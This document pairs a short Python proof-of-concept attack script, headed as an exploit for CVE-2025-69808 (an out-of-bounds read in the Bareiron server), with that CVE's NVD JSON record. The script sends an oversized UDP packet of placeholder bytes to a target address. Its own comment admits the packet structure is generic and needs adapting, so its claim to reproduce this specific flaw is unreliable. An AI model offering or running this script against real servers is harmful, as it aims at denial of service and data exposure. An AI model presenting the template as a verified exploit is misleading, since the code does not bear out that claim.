CVE-2025-69808

import socket import struct def send_crafted_packet(target_ip, target_port): """ PoC for CVE-2025-69808: Out-of-bounds memory access in p2r3 Bareiron This PoC demonstrates sending a crafted packet to trigger OOB access. """ # Craft packet with oversized payload to trigger OOB # Modify packet structure according to target protocol packet = bytearray() # Packet header packet.extend(b'MAGIC') # Protocol magic bytes packet.extend(struct.pack('<I', 0xFFFF)) # Packet type # Crafted payload - oversized data to trigger OOB oversized_payload = b'A' * 1000 # Payload exceeding expected bounds packet.extend(struct.pack('<I', len(oversized_payload))) # Length field packet.extend(oversized_payload) # Malicious payload try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(packet, (target_ip, target_port)) print(f'[+] Crafted packet sent to {target_ip}:{target_port}') sock.close() except Exception as e: print(f'[-] Error: {e}') if __name__ == '__main__': target = 'TARGET_IP' port = 9999 send_crafted_packet(target, port)

{"cve": {"id": "CVE-2025-69808", "sourceIdentifier": "[email protected]", "published": "2026-03-16T19:16:14.850", "lastModified": "2026-04-27T18:41:00.170", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An out-of-bounds memory access (OOB) in p2r3 Bareiron commit 8e4d40 allows unauthenticated attackers to access sensitive information and cause a Denial of Service (DoS) via supplying a crafted packet."}, {"lang": "es", "value": "Un acceso a memoria fuera de límites (OOB) en p2r3 Bareiron commit 8e4d40 permite a atacantes no autenticados acceder a información sensible y causar una denegación de servicio (DoS) mediante el suministro de un paquete manipulado."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:p2r3:bareiron:2025-09-16:*:*:*:*:*:*:*", "matchCriteriaId": "44DB8E6D-705C-45AA-B014-C2911724CF92"}]}]}], "references": [{"url": "https://github.com/p2r3/bareiron/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/vmpr0be/bareiron-vr/blob/main/CVE-2025-69808.md", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}